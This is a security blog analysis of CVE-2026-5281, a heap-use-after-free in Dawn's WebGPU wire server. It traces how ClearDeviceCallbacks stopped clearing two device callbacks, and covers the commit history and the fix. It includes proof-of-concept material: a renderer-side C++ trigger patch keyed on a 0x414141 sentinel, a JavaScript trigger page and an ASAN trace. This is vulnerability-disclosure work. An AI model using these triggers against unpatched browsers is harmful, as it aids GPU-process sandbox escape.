//nefariousplan

CVE-2026-5281: Dawn's ClearDeviceCallbacks Cleared One Callback. Its Two Callsite Comments Named the Other Two.

vendor

pattern

cve

proof of concept

Dawn's ClearDeviceCallbacks cleared one of three device callbacks. The function's name was plural. The comments at its two callsites named the other two callbacks, neither of which the function cleared anymore. That state shipped for twenty months and twenty-six days. CVE-2026-5281 is the heap-use-after-free a renderer-side attacker reaches by triggering an unregister of a device whose native callbacks still hold raw pointers into the wire server's about-to-be-freed ObjectData.

The function was named in the plural and cleared one of three

Pre-patch, the function lived in src/dawn/wire/server/Server.cpp:

void Server::ClearDeviceCallbacks(WGPUDevice device) {
    // Un-set the logging callback since we cannot forward them
    // after the server has been destroyed.
    mProcs->deviceSetLoggingCallback(device, kEmptyLoggingCallbackInfo);
}

It had two callsites. The first, in the Server destructor:

// Un-set the error and lost callbacks since we cannot forward them
// after the server has been destroyed.
ClearDeviceCallbacks(device);

The second, in the DoDestroyObject specialization for WGPUDevice in ServerDoers.cpp:

//* Deregisters uncaptured error and device lost callbacks since
//* they should not be forwarded if the device no longer exists on the wire.
ClearDeviceCallbacks(data.handle);

The function clears the logging callback. The comments above its two callsites describe clearing uncaptured-error and device-lost. The function's name is plural. The callsites read as if the function did what the comments said it did. It did not.

The two callbacks that were never cleared

In Dawn's wire server, every WGPU device handle on the wire has an ObjectData<WGPUDevice> entry in the server's known-objects table. That struct holds:

template <>
struct ObjectData<WGPUDevice> : public ObjectDataBase<WGPUDeviceImpl*> {
    std::unique_ptr<DeviceInfo> info;
};

DeviceInfo carries the server back-pointer and the wire-side ObjectHandle. When the server registers a device, SetForwardingDeviceCallbacks(data) passes data->info.get() as the userdata for three native callbacks: uncaptured-error, device-lost, and logging. The raw pointer into the unique_ptr-owned DeviceInfo is what the GPU process will dereference when an error fires later.

When a renderer issues DoUnregisterObject(ObjectType::Device, handle), the server frees the ObjectData for that handle. The native WGPUDevice survives, because the wire server's own Ref<WGPUDeviceImpl> keeps it refcounted alive until the handle's last reference drops. The userdata pointers do not. They now point into freed memory. Any later uncaptured error, device-lost notification, or logging message on that native device fires the registered lambda with the freed DeviceInfo* as its first argument.

ClearDeviceCallbacks was the place that was supposed to detach the two callbacks whose userdata the freed ObjectData owned. Before April 2024 it did. After April 2024 it cleared one of three. After June 2024 it cleared one of two. After June 2024 the function's name was a lie that two adjacent comments did not catch.

The PoC, post-renderer-compromise

The ASAN repro requires a renderer-side primitive that calls Unregister on a device whose native error callback then fires. The proof-of-concept at anansi2safe/CVE-2026-5281 ships a renderer-side patch into the wire client's QueueWriteBuffer stub:

// inside the QueueWriteBuffer wire stub on the client
if (bufferOffset == 0x414141) {
    self->GetClient()->Unregister(self, dawn::wire::ObjectType::Device);
    bufferOffset = UINT64_MAX;
}

The browser side then receives a QueueWriteBuffer with a bufferOffset larger than the buffer, which surfaces a WGPUErrorType_Validation on the device. The device fires its uncaptured-error callback. The wire server's registered lambda dereferences the freed DeviceInfo*. The trigger from JavaScript is the simplest path that reaches that error:

<script>
(async () => {
    const adapter = await navigator.gpu.requestAdapter();
    const device  = await adapter.requestDevice();
    device.onuncapturederror = (e) => console.log(e.error.message);

    const data = new Float32Array([]);
    const buf  = device.createBuffer({
        size: data.byteLength,
        usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.COPY_SRC,
    });

    device.queue.writeBuffer(buf, 0x414141, data, 0, data.length);
    device.queue.submit([]);
})();
</script>

The 0x414141 is the sentinel the patched renderer keys on. Without a renderer compromise the wire client never calls Unregister, and the path stays cold. This is a GPU-process sandbox-escape primitive layered on a renderer compromise; not a one-click drive-by.

The ASAN signature, lifted from the PoC's README.md:

==4138==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d000095798
READ of size 8 at 0x60d000095798 thread T2 (CrGpuMain)
    #0 ... DoAdapterRequestDevice::$_0::__invoke ...
freed by thread T2 here:
    #0 operator delete ...
    #1 dawn::wire::server::Server::DoUnregisterObject(ObjectType, ObjectId) ...
previously allocated by thread T2 here:
    #0 operator new ...
    #1 dawn::wire::server::KnownObjectsBase<WGPUDeviceImpl*>::Allocate ...

The freed lambda is the uncaptured-error callback the DoAdapterRequestDevice path registered. The free is DoUnregisterObject. The allocation is KnownObjectsBase<WGPUDeviceImpl*>::Allocate. The three lines describe the bug.

The window was twenty months and twenty-six days

ClearDeviceCallbacks did the work its name implied from May 2022 until April 2024. Three commits narrowed it:

date commit author reviewer what it did
2022-05-24 20a4bd8377 Austin Eng original three-setter ClearDeviceCallbacks lands
2024-04-10 0a552b460b Loko Kung callback-info migration for device-lost; ClearDeviceCallbacks stops clearing the device-lost setter
2024-06-20 f2a5e573d7 Loko Kung Kai Ninomiya callback-info migration for uncaptured-error; ClearDeviceCallbacks shrinks to the single logging line above
2026-03-16 CL 297136 Loko Kung Kai Ninomiya fix lands

Neither April nor June touched either callsite comment. Both migrations moved the callback registration site from a post-creation setter into the WGPUDeviceDescriptor passed to wgpuAdapterRequestDevice. The post-creation setters that ClearDeviceCallbacks had used to detach those callbacks became no-ops in the new API and were removed. The deregistration site (ClearDeviceCallbacks) was not switched to the new equivalent. It was simply trimmed.

The comment above each callsite continued to assert what the function used to do. The function's name continued to be ClearDeviceCallbacks, plural. Twenty months and twenty-six days later the function's body finally agreed with neither, because the function was deleted.

The patch is the function the two comments named

CL 297136 (2026-03-16, Loko Kung, reviewed by Kai Ninomiya) does the thing the comments described, by replacing the helper with the native teardown call that detaches all three callbacks at once:

-void Server::ClearDeviceCallbacks(WGPUDevice device) {
-    // Un-set the logging callback since we cannot forward them
-    // after the server has been destroyed.
-    mProcs->deviceSetLoggingCallback(device, kEmptyLoggingCallbackInfo);
-}

Both callsites change from ClearDeviceCallbacks(device) to mProcs->deviceDestroy(device). deviceDestroy is the native teardown that detaches the callbacks registered via the descriptor in the new API. The two callsite comments are removed in the same CL; they had been describing the function's intent, not its body, and the new call no longer needs them.

The CL is small. Two callsites, one deleted helper, one new call at each site. The reviewer is the same Kai Ninomiya who landed the June 2024 narrowing. Twenty months and twenty-six days separate those two reviews.

A note on what an auditor would have seen

A reviewer reading the destructor in June 2024 would have read:

// Un-set the error and lost callbacks since we cannot forward them
// after the server has been destroyed.
ClearDeviceCallbacks(device);

The comment names two callbacks. The function's name is plural. The body of ClearDeviceCallbacks, at that moment, was one deviceSetLoggingCallback. To notice that the comment named two callbacks the body did not clear required reading the body, not the name and not the comment. Three independent signals (callsite comment, function name, surrounding context) all asserted a contract the function did not fulfill. The signal that would have revealed the gap was the function body itself.

This is the same shape as yesterday's Drupal Database::escapeTable case: a comment described correct behavior, a refactor removed the implementation, and the comment kept describing the behavior it was no longer ensuring. In Dawn the refactor removed two setters from a function whose name and callsite comments both still asserted those setters were being called. The pattern has a name on this site: Todo That Shipped. The Dawn instance is the variant where the surviving comment is not a // TODO but a description of behavior that was once true. Two repositories, two languages, one Todo That Shipped pattern wearing two different disguises.

Repro

Full PoC, ASAN log, and the renderer-side trigger patch:

https://github.com/anansi2safe/CVE-2026-5281

ApiProcs.cpp.patch is the post-renderer-compromise primitive. poc.html is the JavaScript that reaches the freed lambda once that primitive is in place. README.md is the heap-use-after-free trace, with the commit hash (146.0.7680.71) the trace was captured against.

The function was named in the plural and cleared one callback. Twenty months and twenty-six days later it cleared the right number, which was three, in a function with a different name.